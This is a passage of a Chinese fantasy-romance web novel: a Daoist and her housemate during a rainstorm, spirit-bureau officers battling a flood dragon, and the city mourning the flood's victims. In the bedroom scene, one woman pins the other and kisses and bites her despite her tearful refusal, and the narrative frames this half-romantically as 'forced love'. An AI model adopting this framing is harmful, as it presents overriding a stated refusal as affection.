【台风不都在沿海吗?吹进来也不剩几级风力了,我们这一般只有地震】 【我搜了一下气象预报,只有咱这下雨,可能有仙人在渡劫吧hhh】 【莫渡了莫渡了,好大的雨,上班要迟到了】 【想请假了,但我的资本家老板是不会同意的!】 【+1,风里雨里,刀山火海,打工人的命比鬼都苦】 【昨天就不想干了,今天直接辞职躺平嘿嘿】 【是谁羡慕了我不说】 早高峰过去后,本地的吐槽少了许多,偶尔有人po办公楼玻璃外的雨流下的轨迹,拍得挺有意境,底下有跟回复的,也是晒图的居多。 气象预警中心发来新的短信,依旧是:【暴雨橙色预警】提醒广大市民减少不必要的出行。 傅清微在阳台观察了一下,雨势如注,街上的行人已经少了很多,只有几抹穿着橙色马甲的环卫工人身影穿梭在风雨里,看得她心里不是滋味。 就不能让她们等雨停了再去打扫卫生吗?一定要现在? 傅清微眼眶微酸,强迫自己收回了视线,她并不能为她们做些什么。 后背被不轻不重地砸了一下,傅清微低头捡起一个小纸团,看向沙发里翻书的女人,穆若水并不看她,说:“别在这走来走去,你没有正事做吗?” 走来走去就算了,神思不属,魂游天外,不知道在想什么,总归是没想她。 傅清微今天计划表上所有的安排就是陪穆若水逛街,现在下雨出不去,她还真没有正事干。但换个思路,她原先的目的是为了观主服务一整天,那现在坚持践行这一条就行了。 傅清微:“要不要我给你开电视机?和平板一样,能放会动的影像。” 穆若水:“我一个人看?” 傅清微:“当然是我陪你看。”说好陪她一整天,就是一整天。 穆若水仰起头看她,勉强满意地颔首。 “可。” 傅清微打开了电视机,原来房东的电视是40寸的,傅清微搬进来后,在海鲜市场淘了个二手的,几百块买到一台70寸的液晶显示屏,在三米宽的客厅属实算得上奢侈品,观影体验绝佳。 傅清微上网找了林正英全集,用手机投屏到显示器,画面摇身一变,播放电影片头。 穆若水好学,见了便使了个眼神。 傅清微心领神会,当场给她注册了网盘账号,互加好友,分享给了她,又教她怎么投屏。 观主聪慧通窍,即使科技断代百年也一教就会,令傅清微真心夸赞。 除了穿内衣。 等等,既然她这么聪明,怎么偏偏穿内衣要自己进去示范? 该不会是…… 她不至于无聊到就是故意想看自己的身子吧? 傅清微思路顿住,蓦地一笑,打消了无端的猜测,还是那句话,观主纵然不光风霁月,也目下无尘,自己一介肉体凡胎,哪里入得了她的眼? 昨晚还毫不犹豫地拒绝了收徒。 电影里英叔饰演的九叔本领高强,临危不乱,一再救徒弟于水火,就连身陷险境的配角一见到他也松了口气,自信能保住性命,堪称电影里的定海神针。 穆若水想:原来自己在她心目中是这种定位。 经典电影看几遍都不会腻,傅清微盘腿坐在沙发里,目不转睛,不知不觉从单人沙发坐到了穆若水专属的长沙发上。 穆若水往旁边挪了挪,给她让出位置。 傅清微从茶几下面拿了袋零食拆开,问:“观主要不要吃?” 穆若水想也不想地拒绝了,傅清微便把那袋零食放在自己腿中间,时不时吃一片脆薯。 穆若水对零食不感兴趣,但傅清微边看边吃的操作让她觉得这二者是天然不可分割的,她只看电影未免无趣了些。 于是改口:“我也要。” “要什么?” “你……”在傅清微忍不住望过来震惊的目光里,慢悠悠地补上后半句,“喂我。” 傅清微心跳七上八下,噗通噗通,撞得她胸腔都有些响。 有时候她觉得观主没有那个意思,毕竟是半个古人。但有时候她明显话里有话,明撩暗示,由不得她不多想。 以前不是没有女生和她表白过,表白之前也有些暗恋的操作,可把那个人代入到穆观主,实在难以想象。 应该还是自己想多了。 “好。” 傅清微二指捏起一片薯片,朝女人的唇边送去。 穆若水轻启薄唇,只浅浅地咬了一小口,尝过味道才继续张唇咬下。 傅清微指间的薯片越来越小,吃到最后一点,她修白的指尖不免送进女人口中,小心避开温暖唇瓣。 女人舌尖卷去最后一丝残片,含住了她来不及撤出的两根手指。 傅清微:“!!!” 第25章 指端被陌生的温暖包裹, 湿润的舌尖挑弄她的指腹。 强烈的心悸感化作一阵电流,冲击得她指尖发麻,全身的血液加速流动, 都涌到了她的脸上。 这回穆若水一点一点地看清了她的脸是怎么变红的。 没有缓冲, 瞬间从血色苍白涨成了熟透的红柿子。 她猛地后退, 用身体的动作带动手指抽出来,但她身后是沙发, 一退过后, 仍在身在沙发,没能逃脱观主的股掌之间。 穆若水神情隐晦, 高深莫测地看着她。 仿佛刚刚那个含着她手指挑逗她的不是本人。 连傅清微都怀疑自己是不是薯片吃多了出现了幻觉? “刚刚……”她咽了咽口水, 心如鼓擂。 “发生了什么吗?”穆若水眼神充满无辜。 “没有吗?” “没有。你刚刚在吃薯片,突然就退后躲开了。” “是、是这样吗?” “你做梦了?”穆若水正色道。 “也许吧。” 傅清微现在急需一捧凉水浇在自己脸上清醒一下,弄明白从哪里开始是梦, 她起身落地穿鞋去卫生间洗脸, 水流流过她的右手手指,冷热分明。 好像不久以前真的被人含在口中,紧紧地用温热包裹。 真耶?幻耶? 她将脸埋进了冷水中。 * 穆若水右手搭在自己的左手腕把脉, 血液在经络里加速冲撞,指腹下凹凸起伏。 她喉咙有些痒。 喝水或者吞咽口水都没有用。 当傅清微的手指伸过来的时候,她本能地含住了她,仿佛沙漠里的旅人久逢甘露, 解她一滴干渴。 可是还不够,她是干瘪的骨架, 失水的海绵, 一滴水怎么能丰满她的血肉,灵活她的骨干, 她需要更多的水,从傅清微身上榨出来的,湿透了来喂饱她。 穆若水又开始徒劳地吞咽。 她不知道怎样获取这些水分,每次和对方待在一起时,既满足又不满足。 她的杀意无比平静,深处又滋长出新的贪婪。 傅清微的肌肤每一寸都是解药,每一寸也都是毒药,她只能不断地饮鸩止渴,直到秘密被揭晓的那一天。 傅清微的脸从满盆凉水里抬起来,水珠沿着她的下巴不住往下淌,镜子里的睫毛一颤,一滴水珠便顺着弧线跌落,珍珠似的。 她今年二十岁,大学即将毕业,体力和智力都在巅峰,神智清醒,不可能大白天出现幻觉。 所以刚刚穆观主确实含了她的手指,还用舌头裹了两下,又吸又……只差咬了。 一边含一边看着她的眼睛。 放在同性电影里,这不就是性暗示吗?! 她到底想做什么? 傅清微一阵脸热,强迫自己不要深想,思路已经顺着含手指一路往下,亲到了其他地方。 她为什么会知道后续的其他地方,因为甘棠在宿舍里逼着她一起看过同性片,尺度很大的那种,主角把该做的都做了。 傅清微用凉水拍了拍自己的脸,中断了脑补里的最后一步,决定走一步看一步。 真的当内人也不是不行。 以她的体质,如果没有其他奇遇,这辈子都很难离开穆观主了。 但是如果真的发展成那种关系,万一吵架观主离家出走,她小命就有危险,她势必要忍耐,每次都忍耐的话……掺杂了太多杂质的感情往往不能长久,观主一离开,她小命还是难保。 嗯,最好还是不要成为那种关系。 傅清微再三权衡的这会儿,穆若水已经出现在了卫生间门口。 傅清微沉迷在自己的思路分析当中,没注意到她与平时微妙的异样,眼睛里有些发红。 她抬头温和招呼了一句:“道长。” 穆若水像吸食人精气的妖精,深深地嗅了一口,走进来说:“你好香。” 女人眼底的红蔓延到眼尾,妖异而美艳。 “……” 一句话把傅清微刚清醒不久的脑子干宕了机。 她张了张嘴,又张了张嘴,一个字也吐不出来,脑子疯狂尖叫: 完啦,道长竟然真的是女同! 说好的半个古人什么都不懂呢? 傅清微退到了墙根,这一亩三分地完全阻止不了穆若水向她走来的步伐,不过是多走了两步,两人便面对面站在一起。 傅清微试图挣扎:“我觉得……啊!!!” 她整个人身体悬空,被穆若水打横抱了起来。 短促的一声惊叫过后,她连一句话也不敢说,生怕对方会用嘴堵住她的嘴。 女同真的很爱干这种事! 傅清微没有进行任何抵抗,被穆若水放到了卧室的床上。 在她伏低身子朝自己压下来的时候,傅清微手推在她的肩膀上,也不敢太用力,小声劝道:“你能不能先剪个指甲?我怕受伤。还有,能不能温柔一点,我没有经验。” 最后她含着泪光说:“如果可以的话,希望你不要这么做。” 穆若水眸光浅红,停住动作,似乎在思考,三秒钟后,她拿开了傅清微抵住自己肩膀的手,彻底压了下来。 傅清微:“……” 女人冰凉的手抚上了她的脖子,唇跟着覆了上来。 傅清微别开头,一串泪水顺着她的眼角滑下来,渗入枕头。 凡间的法律可以制裁修行者吗?女人对女人强制算犯罪吗?自己因为明知不敌所以选择不抵抗,会不会算作自愿? 如果凡间不能,灵管局会受理这个案子吗? 她们官官相护,自己还能找谁主持公道,占科长吗? …… 傅清微再次醒过来,是在一个小时以后,卧室的窗外阴雨连绵,比上午更暗了一些。 一股一股的水流自玻璃流下,傅清微扭头看向外面昏暗的天。 同样昏暗的房间,有人走到床头,往柜子上放了一杯清水。 “道长。”傅清微坐起来之前,尴尬地摸了一下自己的眼角,都已经干了。 “补点水,房间差点被你淹了。” 听到她的话,傅清微更加窘迫了,两手捧着水杯不敢接话。 女人的唇覆上来之后,傅清微在她的身下哭个不停,穆若水眼底的红色褪去两分,看向怀里的她,沙哑道:“你就这么不情愿?” 傅清微当然不情愿。 她俩什么关系都不是,她上来就要强迫自己,还那么长的指甲。 “上次你不是答应了吗?” “答应什么?” “让我吸你的血。” “……” 傅清微愣住了。 上来这么大阵仗,又是她好香又是横抱又强制爱的,就为了吸一口血。 “你以为呢?”穆若水绝不承认她刚才是想要得到更多,但被她哭醒了。 “那你吸吧。”傅清微擦干了眼泪,雪白颈项后折,把脖子露出来。 穆若水眼前蒙上一层红雾,侵蚀她刚恢复不久的理性。 对鲜血的渴望占据上风,她咬了下去。 熟悉的无力感向傅清微袭来,她放松自己的意识,不出意外地晕了过去。 直到现在清醒。 傅清微联想起方才穆若水的表现,还是觉得奇怪,说:“你上次吸血的时候,也这么多前戏吗?”反正前戏什么的,百年前没有这个词,她听不懂。 穆若水站在昏暗里,看不清表情。 “你昏迷了,自然不知。” 傅清微并没有意识到对方没有正面回答她的问题。 “道长,我有一个问题。” “但说无妨。”许是心虚,穆若水的态度柔和了许多。 傅清微把房间的灯打开,好让自己观察到观主的表情。 “你是不是喜欢女人?” “你吗?” 傅清微心头一跳:我就知道! 她刚刚把自己压在床上,看她的眼神绝不清白!她就是想上她! 然后她就看着穆若水在她的注视下勾出一个讥讽的嘲笑,光明正大地说:“自作多情四个字,我要对你说几次。” 女人神情坦荡,绝无傲娇之意。 “你真的不喜欢我?” “不喜欢。”穆若水直视她的眼睛说。 喜欢和想要是两回事。 “我明白了。”傅清微说,“我不会再多想了。”道长多半是棺材睡久了,举止与常人不同。 “有空胡思乱想,不如多念几遍金光咒。”穆若水道貌岸然,不轻不重地批评了她几句。 “是。” “中午了,我去做饭。” “我给你打下手。”傅清微说着就想从床上跳下来。 “不必,你忙你的。” 穆若水刚刚控制住自己,不太想和她在狭小的空间独处。虽说吸完血没那么容易再失控,但她需要时间消化一下方才陌生的冲动从何而来。 ——想把她从衣服里剥出来,咬遍她的全身。 穆若水转身向门外走去,顺手带上了门。 傅清微检查了房门,上了锁,呈大字型把自己扔在床上。 ——你是不是喜欢女人? ——你真的不喜欢我? 对穆若水的灵魂质问如果反过来问她自己,她似乎并不如对方那么坚决。 要不是观主太过粗暴突然,还不剪指甲,如果她温柔一点,软语哄几句,年轻貌美的穆观主想和她云雨巫山,傅清微说不定半推半就地应了。 到了这个年纪,对成人的世界有好奇心很正常,否则傅清微不会答应和甘棠看同性片。她自己也会找一些生理教育的动作片看,正是荷尔蒙旺盛的时候,完全清心寡欲才是少数。 穆观主长得漂亮,身材又好,做她人生的初体验她不仅不亏,还赚大了。 心思接着一转:但她今年已经一百三十岁了。 傅清微兜头一盆凉水,人工给自己荷尔蒙上头的脑袋降温,把尊老两个字吸烟刻肺。 当恋人是不会长久的,维持原样最好,也幸好她不是真的要上自己。 傅清微放任自己的思绪信马由缰了一会儿,盘腿打坐念今天中午五十遍的《金光咒》。 “天地玄宗,万炁本根。广修亿劫,证吾神通……” 五十遍一遍不少地默诵完,六根清净,什么小女儿心思都没了,傅清微如同玄门弟子做早课一样,闭目开始诵念《太上老君说常清静经》。 “老君曰:大道无形,生育天地;大道无情,运行日月……” 她尚未拜入任何师门,但和一个道士朝夕相处,得空她就从穆观主那里问一些保命的法门,入道是没入道的,但真道士要做的,她先学为敬。 不知道管不管用,反正傅清微每次早晚课都很虔诚地念经文,比得空就躺着的观主更像个玄门中人。 穆若水:【吃饭】 收到短信,傅清微从床上睁开眼,把盘着的腿放下来,吃饭前先去卫生间洗手。 洗完手她惯例看了眼镜子,忽然动作顿住,仰起脖子凑得更近。 一枚新鲜的红印正烙在她的侧颈,形状像草莓。 嗯?这是什么? 第26章 傅清微开了卫生间的灯, 对着镜子细细观察。 她用手擦了擦,没有擦掉,红印反而因为摩擦变得颜色更深了。 她用指腹按压, 表面平坦, 没有痛感。如果不是照镜子发现有个红印在这, 她自己都察觉不到异样。 难道是被蚊子咬了? 只有理论经验而没有操作实践的女大学生根本没有把红印和传说中的吻痕联系在一起,那可是堂堂吻痕!怎么会和她一个没有女男朋友的学生有关系? 甘棠纸上谈兵这么多年了, 连她都没有过呢。 再说小说里写的都是紫红色的淤痕, 啃得丧心病狂的,她这蚊子点点的红印, 完全不一样。 傅清微沾冷水揩了揩脖子上的吻痕, 当作消毒镇“痛”,聊胜于无。她毫无异色地从卫生间出来,穆若水已经端好了菜, 坐在饭桌对面, 秀色可餐。 傅清微走进厨房盛饭,面向穆若水走过来,颈项那个被擦得红艳的印子毫无预兆闯入穆若水的眼底。 “咳咳咳……”穆若水猝不及防, 呛咳起来。 “怎么突然咳嗽了?” 傅清微忙放下饭碗,快步去茶几给她倒水。 穆若水雪白脸颊浮上少见的樱色,她接过水杯的手指默默攥紧,一言不发地抿了一口。 傅清微弯腰给她轻柔地顺着背。 “好点了吗?” “咳咳……”穆若水假装咳嗽渐渐止住, 说,“好多了。” “会不会是昨晚感染了风寒?刮风又下雨的。” “有可能。”绝不会生病的穆观主面不改色道。 “我上某团给你买药。”傅清微掏出手机才想起外面在下雨, 外卖员不安全, 她改口说,“晚点我去楼下药店给你买。” “我陪你一起。” 穆若水没有再坚持不让她出门, 横竖有她在不会有事。但要是不让她去,这一part没那么快过去。 穆若水速战速决,结束了话题,说:“吃饭吧,都凉了。” 傅清微转向餐桌,为了让她深刻认识到二人之间的差距,穆若水做了两道和昨晚一模一样的菜,番茄炒蛋和青椒肉丝。 一样的菜,不一样的品相。 番茄切块均匀,鸡蛋炒得鲜亮,二者混在一起既分明呈现出明艳的色泽,又藕断丝连,蛋液包裹着番茄,你中有我。 青椒肉丝则更展现了优越的刀工,傅清微那个把肉丝切成肉片,肉片切成肉块的手艺实在连多看一眼都觉得对她太残忍,肉丝滚过油,下锅爆炒的时间正好,不干不柴,爽滑鲜嫩,堪比大厨。 傅清微吃了一口,不可思议地看向坐在对面喝水的穆观主。 穆若水胸有成竹地笑。 傅清微也说不出别的,埋头干饭,活像从昨晚饿到了今天。 好吃还在其次,最让傅清微惊讶的是这菜过于合她的口味,不论咸淡还是熟度,没有比这更合适的了。 巧的仿佛她用了什么道法,完美掌控了她的味蕾。 傅清微风卷残云般刮过了饭桌,两个盘子还分别剩下一人份的菜量。 傅清微眨了眨眼。 “道长,你今天还是不吃饭吗?” “不吃。” “那你怎么做了两个人的分量?”傅清微筷尖指着餐盘,她再觉得好吃,胃就那么大,比平时多吃不了多少,已经有了八分饱腹感。 穆若水默了默,说:“顺手。” 手拿把掐,全程没有经过大脑思考,顺手精准地做出了两个人的饭,刚好够她们吃。 “下次少做一点,吃不完浪费,今天的我放冰箱里晚上吃。” “没有下次。” “哦。”傅清微忘了,她说过只做这一次,没关系肯定还有下次。 傅清微把剩菜用保鲜膜包了放进冰箱,收拾桌子和碗筷,脖子里的红印揉出的颜色淡了些,呈现出本来的红粉草莓,穆若水目光时不时自上面掠过。 她有那么用力吗? 穆若水忍不住怀疑自己。 肯定是她皮肤太敏感了,她只是唇瓣舍不得放开,亲得久了一点而已。 穆若水不自在地站起来:“我去午睡了。” 傅清微在厨房里回头:“好,需要我叫你吗?” “买药的时候叫醒我。”穆若水仍记得这事,担心她独自出门。 “行,那你睡两个小时,我们等雨小了再出去。” 回应她的是一声轻轻的关门声。 穆若水把自己裹进了傅清微的被子里,她刚睡过,遗留的气息还很浓郁,穆若水得到了她的猫薄荷,深深地陷进她的气味里,陷入了梦乡,一枕黑甜。 傅清微担心外面的环卫工人,又去阳台转了一圈,发现没有橙色马甲的身影,应该是雨太大都去有屋顶的地方躲避了。 她看了会书,躺进沙发里,在连绵的雨声协奏曲中也睡了过去。 雨天好睡,傅清微一觉起来脑子仍有些困顿,平时午觉只需要半个小时,这次不知不觉睡了一个小时,还不如平常清醒。 她出神地望着玻璃上的水流,将城市雾得模糊不清。 房间里格外寂静,关上的卧室门没有丝毫动静,穆若水还没醒。 傅清微打了个长长的哈欠,脑袋一偏,再次沉沉睡去。 * 陵嘉江。 水中。 占英闭气避开水底的漩涡,游到了蛟的身边,蛟在水中身形暴涨一倍,吞吐日月,施云布雨,衬得占英的身躯无比渺小。 刚刚下水时,占英试过斩它的头,长剑劈去,却被铮的一声反弹回来,虎口震裂。 它的鳞片也像钢铁,刀枪不入,划过去只见火星,不见鲜血。 再厉害的蛟也是蛇,不是龙,占英坚信这个想法,否则她恐怕连下水的勇气都没有。 既然是蛇,就一定遵循“蛇打七寸”的规律,占英吐出一个泡泡,耐心地循着粗壮的蛟身寻找它的七寸。 蛟对时不时在它身上挠痒痒的小虫子没有兴趣,它在天上的时候也没看到是谁念咒引来天雷劈它,不知道拿个剑在水里朝它比划的正是它的仇家。它在生它养它的江河里,长鸣摆尾,兴风作浪,让河水化雨倒灌进城市。 占英越找越是心冷,这条蛟鳞片光滑整齐,密密地包裹它的全身,铜墙铁壁,一丝弱点也没有露出来。 她的气快要用尽了,而蛟除了一开始的天雷,没有受到丝毫损伤。 再由着它这样作乱下去,城市都要被雨水淹了。 方才在打斗中受的伤让她的反应变得迟钝。 占英咬破舌尖,剧痛让她瞬间清醒,灵台为之一肃,她一手持剑,心中默念漫长的咒语,语毕左手飞快抹过锋利剑身,在河水没有完全洗刷血迹之前,将染血的剑狠狠地刺进了蛟的腹腔,发力搅动。 碧绿的血化在水中,蛟的血是绿色的,像蓬开的绿雾。 小虫子居然咬破了它的皮肉! 蛟的头颅昂起来,发出一声被激怒的怒吼,腰身粗的尾巴一甩,将身上的小虫子重重地扫了出去。 占科! 同样在水里辅助的同事在心里惊呼,朝着占英被击飞的方向迅速游了过去。 在她被卷入漩涡之前惊险地截下来,拖着她往水面上游去。 “占科!占科!组长!” 占英躺在岸边,脸上和身上混的雨水成了血水,染红了身下的泥土,她面如金纸,双目紧闭,出气多进气少,一动不动,眼看着快不行了。 同事呼喊的声音带上了哭腔:“组长!不要死,组长!你说过要一辈子带领我们降妖伏魔的!” “咳咳……” 占英溢出一口血,在暴雨里睁开眼帘,虚脱疼痛使不上力,她陷进泥土的五指在空气中收拢,好像去握紧什么,虚弱道:“我的剑呢?把我的剑拿来。” 同事抹了脸上咸湿的雨水,说:“剑在水里,插在蛟身上没能拔出来。” “再、再给我一把,我要下水。” “你不能再下水了,你会死的!等支援,局里的第二次支援很快就到了。” 蛟比预料中更难对付,占英这个小队,加上第一批支援的小队,根本奈何不了它,反而已经折损了两人。要不是众人拼死拖住它,蛟早已闯入城市,祸害无穷。 “那我也要……”占英的手深深地插进泥土里,呼吸了一口带着浓郁血腥味的空气,从地上爬着站起来,一字一字道,“坚持到最后一刻。” 直到她死为止。 占英喝道:“拿剑来!” 更多的血从她染红的道袍渗出来,被雨水冲刷,冲去了很快又有新的。 “是!”同事一边抹泪一边去取剑。 占英的身体在空气中不稳地晃了晃,她缓缓地闭上眼睛,听见雨声路过她的耳朵,又远离她的世界。 不知过了多久,她的肩膀被一只手轻轻地按住,占英无力去分辨更多,全凭意念支撑,她吃力地睁开一线眼帘,几若无声地开口:“剑拿到了吗?” “拿到了。”回答她的是一道成熟温柔的女声,熟悉入骨。 “师父……” “是我。” 占英已经看不见了,抓着女人白袍的袖角,喃喃道:“你来了就好。” “辛苦你了,可以休息了。” 占英彻底闭上眼,放任自己的意识陷进黑暗的深海,在师父的怀里昏死过去。 岁已寒把占英妥善交到正抹眼泪的组员手里,说:“所有人撤退,这里交给我,带她去后面治伤。” “是,主任。” 组员扶过重伤的占英,如释重负,放心地把主战场交给了岁已寒。 岁主任来了,一切都会解决的。 通讯耳机里传来全员撤退的指令,在水里的和在岸上的灵管局成员纷纷不可置信,但在听到赶来支援的是岁主任后,训练有素地火速撤了个干净。 岸边只剩下岁已寒一人,后背绣有太极的白袍凌风而立。 蛟感受到危险的敌对气息,从水面上慢慢浮起庞大的身躯,鱼身蛇尾,生有四爪,龙须烈烈。 一双眼睛如同两盏巨大的碧色灯笼。 一人一蛟隔岸静静地对视。 …… 这天傍晚,所有人都见到天边被紫光笼罩,声势浩大的闪电接二连三地劈下来,雷霆震撼,几乎要将天捅穿。 乌云盘旋,浓墨翻滚,手臂粗的紫电从天而降,映得天边亮如白昼。 傅清微正在楼下小区门口的药店买药,被天边的紫光刺得睁不开眼睛,又止不住赞叹大自然的神迹。 她掏出手机来拍了张照片。 刚好捕捉到九道天雷同时降下的瞬间,岂止伟大,傅清微兴奋至极,连忙叫来穆若水一起看。 穆若水看完点头,不走心地夸了她一句。 她对着雷电交加的远处眯了眯眼。 ——灵管局总算派了个不那么废物的人来了。 第27章 许多人都目睹了那场持续了十几分钟的闪电, 有藏于闹市的修行者认出来,这并非什么自然的神迹,而是道行高深者引来的天雷, 也叫五雷正法。 天雷至阳至刚, 诛邪伏魔, 威力巨大。 非玄门正宗弟子不可掌握,而在玄门中也只有少数门派掌握引雷术, 比如龙虎山、茅山和阁皂山——著名的三山符箓。 能够把雷法运用到这个地步的, 非大能莫属。鹤市能够有如此本事的,明面上只有一人。 坐镇西南, 灵管局总局的岁已寒岁主任。 白姝等所有山精鬼怪在如此浩大的雷劫中一头扎入洞府, 无不瑟瑟发抖。 光听雷声她们就已经快吓得魂飞魄散了,这任何一道天雷劈在她们身上,都足够让她们死得不能再死。 不要挑战灵管局的威严。 这是妖鬼在一次次见过灵管局执法之后, 一次次加深的印象。 白姝躲在窗帘里, 露出一个脑袋,见到屋外的闪电从手臂粗变成水桶粗,紫光缠绕, 劈下来的时候映亮了半个城市的天空。 轰—— 天地仿佛同时发怒。 穆若水眼疾手快地托住傅清微的腰,将她往自己的方向带了两步,一棵树倒塌在傅清微刚刚站着的地方。 穆若水低声说了句:“快走。” 她没有再放开傅清微,而是环腰带着她飞速掠向来时的方向。 雷声过后, 是更加暴烈的风雨,不少种在路边的树木拔地而起, 露出根系倒伏在地, 防御薄弱的低矮屋顶被削去半边,出门没关好的窗户拍击撞碎, 风刮起来像是风洞,鬼哭般巨大的呜呜声。 宛如台风过境,天地一片晦暗。 穆、傅二人躲得快,傅清微只湿了衣角,快速回到家中检查所有的门窗,饶是如此,狂风拍打玻璃的声音还是让她紧张得心跳加快。 不知道小区里那两只流浪猫有没有找地方躲好。 傅清微本能将目光投向女人:“道长……” 穆若水:“别怕,快结束了。” 傅清微轻轻地嗯了一声。 穆若水:“害怕的话可以离我近一点。” 傅清微便坐到她的身边。 十几分钟后,响彻云霄的天雷渐渐平息,间或两条尾指粗细的闪电流窜在天际,驱散了墨黑色的阴云,堆积在城市上空的丰沛水汽跌落人间,痛痛快快地又下了一场暴雨。 东边大雨,西边的郊外却架起了一道七彩虹桥。 岁已寒白袍翻滚,从彩虹的中心走出来,唇色失血,以手掩面咳了咳。灵管局的后勤成员过来,低声喊了句:“岁主任。”伸手扶住了她。 岁已寒沉默和她们会合,脚步沉重,一言不发踏上来时的路。 虽然蛟解决了,但是没人露出欣喜之色。 灵管局折损了两名优秀的干事,两条人命,占英重伤昏迷,生死未卜。 大雨倒灌人间,将近一天一夜,造成的经济损失不可估量不说,恐怕会有凡人因此天灾无辜丧命。 蛟盘踞在江底修炼少说已有几百年,始终风平浪静,不可能无故暴虐,自寻死路。 难道真像邱老所预言的那样吗? 岁已寒:“把蛟的尸体打捞起来,带回去研究。” 后勤组:“已经派人去了。只是蛟身被天雷劈得残缺焦黑,研究的难度……” 岁已寒揉了揉眉心。 她擅长雷法,出手就是五雷轰顶,速战速决,很难保持敌人肉身完好。要不是这条蛟霸道强横,肉身强大,早已在天雷下灰飞烟灭。 “尽量吧。” “是。” “您是回局里还是……” 岁已寒:“去医院。” 占英的手机在防水袋里,在打斗中侥幸没有被撞碎,此时正在不停地震动。 陪她去医院的同事在救护车上,看着上面闪烁的名字:傅清微。 “喂。” 傅清微听见那边出声,连忙问道:“占道长怎么样了?” 鹤市是占英的辖区,又是雷又是雨的阵仗这么大,她肯定参与其中,昨晚她就联系不上占英了,担心她出事,现在穆若水说结束了,她才敢打电话关心她的平安。 同事带着轻微的鼻音问:“你是谁?” 傅清微:“是占科长带我办入职手续的。” 同事隐约记起她这号人,说:“那个实习生是吗?占科现在情况不好,如果局里之后没有通报的话,就是好消息。我不和你说了,正在去医院的路上。” 她挂断电话,却发觉救护车停在原地。 “怎么不走了?”她问司机。 司机抬头看向远方,眼神里透出一丝绝望。 同事顺着她的目光看过去,前方的积水没过车胎,一辆辆轿车和SUV陷在积水里,只露出上半部分,活像插在水里一副副的半截棺材。 前有积水,后有车流,救护车卡在中间。 司机:“走不了了。” 岁已寒接到救护车的定位,占英组员的声音焦急哽咽:“主任,我们被积水挡住了,去不了医院。” “不要急,还有办法。” 灵管局属于半官方组织,民间不加入组织的玄门人数众多,也藏龙卧虎。岁已寒在大群里发了个消息—— 岁已寒:【伤者是我徒儿,急需就地救治,事后重谢[定位]】 岁已寒:【[救护车能看见车牌号的照片]】 消息刚一发出来,就刷出来几十条回复: 【3km,已赶往现场,莫辜负】 【火速赶往】 【来了】 【不会医术但是前排合影大佬】 【合影】 【合影+1】 【刚刚的天雷简直震撼我全家[膜拜]】 【已出发[划皮划艇照片]】 【大家都好拼,还好我离得最近,我已经看见救护车啦】 同事得到岁主任的消息,事先把救护车的后车门敞开,风雨未歇不敢开太多,只容一个人通过的大小。 十分钟不到,救护车便弯腰钻进来一个十五六岁的少女,束发盘髻,头戴混元巾,合身的道袍比成人小一号。 “无量寿福。”小道长手持拂尘,露出清秀的眉眼,把来的路上打好的腹稿默背了一遍,端端正正地说,“贫道清净派弟子璇玑,与占道长有数面之缘,略通岐黄之术,特地赶来相助。” 同事顾不得她年纪小,口称一声“慈悲”过后,连忙让开了路。 “道友请。” 璇玑诊过脉,问了问受伤的经过,听说她们先前在斗蛟,双眼发亮,克制住自己不合时宜的好奇心,从怀里的瓶子里倒出一粒白色有纹路的药丸,喂占英吃了下去。 同事一声哎还没来得及出口,便咽了回去,为今之计,也只有死马当作活马医。 占英丧失意识,吞不进去。 璇玑熟练地点了她两处穴道,占英喉咙明显滚动了一下,咽进去了。 药丸进肚,占英有出气没进气的情况顿时好转了许多,呼吸趋向平稳,连气色也没有那么难看了。 同事喜形于色。 “道友,我们占科她……” “嘘。” 璇玑神情认真,一点一点探查她的外伤,因同为女子的优势,重新处理后上药进行包扎。 陆续又有通医术的能人赶到,就地会诊。 等到积水疏通,已是夜晚,救护车载着生命体征暂时平稳的占英前往灵管局合作的定点医院。 此为后话了。 …… 那边傅清微挂断和占英组员的电话。 ——占科现在情况不好,如果局里之后没有通报的话,就是好消息。 什么通报? 傅清微的心往下沉。 死亡通报。 她尚未转正,和灵管局唯一的联系就是占英。如果不是傅清微从小因为灵异体质遭了太多罪,她对灵管局这样的神秘部门肯定是好奇又向往,而不是敬而远之。 她孑然一身,没有牵挂,并不十分畏惧死亡,能够加入灵管局斩妖除魔,见到这个世界的真相,听起来就很酷。 傅清微骨子里不是一个太循规蹈矩的人,用现在的话来说卷又不想卷,躺也不想躺。偶尔还想做一些酷酷的事,比如不想找计算机的工作,头秃加班当枯燥无聊的程序员,宁愿当动捕演员,隐居幕后深藏功与名。 她一个人,没什么物欲,做一点自己喜欢的工作,能养活自己,健康快乐地活着就好。 后来她遇到了穆若水,支撑起她内心最脆弱的部分,不用再受体质困扰。对灵管局的态度也转变了,占英的事更让她相信,就算妖魔横行,灵管局会是阻止妖魔踏入人间的最后一道屏障,哪怕以肉身为盾。 她也想成为像占科长一样的人。 可惜她现在什么都做不到。 她只能坐在家里,打开实时新闻,刷着已经冲上热搜第一的词条。 #鹤市特大暴雨# 热搜里有很多网友传上来的视频。 被淹没的汽车和桥洞,浑浊的污水滚滚涌入地铁,水已经没到了腰部,人们在暴雨里手拉着手互相搀扶,淌水前进,才不至于被风拍起来的湍流冲走。 城市一片汪洋。 人们困在公交车站、地铁口、车里,在高涨的水位面前,焦急地等待救援,等积水褪去。 傅清微所在的小区受灾相对没有这么严重,一开始她还能下去买药,水只淹到机动车道,在她回家以后,那条蛟在天雷之下殊死一搏,云积风卷,暴雨滂沱,像是天漏了一个洞,不到半个小时,雨水便积到了膝盖。 可见本来就受灾的区经此重创,又会惨烈到何等地步。 有的小区停电停水,有的信号基站被毁,网络断线,郊区有的村庄遭遇了山体滑坡,也有人……失去了生命里最重要的人。 晚上十点。 灾情初步得到控制,热搜上慢慢爬上了一个新的词条。 #鹤市特大暴雨遇难者人数# 实时更新通报里数字不断增加。 冰冷的数字后面是一条条鲜活的生命,是谁的女儿、妈妈?又是谁的儿子,丈夫? 她们的亲人再也等不到她们回家吃晚饭的身影。 傅清微的鼻梁发酸,眼眶里也有了泪意。 除了遇难同胞以外,还有因为救人牺牲的街道干部和一位民警。 官方也公布了因公殉职的人员照片,很多的网友在下面致敬哀悼: 【R.I.P.[蜡烛]】 【致敬英雄,一路走好】 【人民永远记得你们】 【致敬】 傅清微忍着鼻酸,也在评论区发了[蜡烛]。 正在这时,她收到了灵管局推送给所有人的邮件。 打开电脑,是一封讣告。 傅清微心脏剧烈地抽动了一下,生怕在里面看到熟悉的名字,确认没有占英以后,她才沉下心一点一点地把讣告的内容收入眼中。 最后她看见两张年轻的黑白照片。 一女一男,比她大不了多少。 她们年轻恣意,意气风发,却被永远定格在今天。 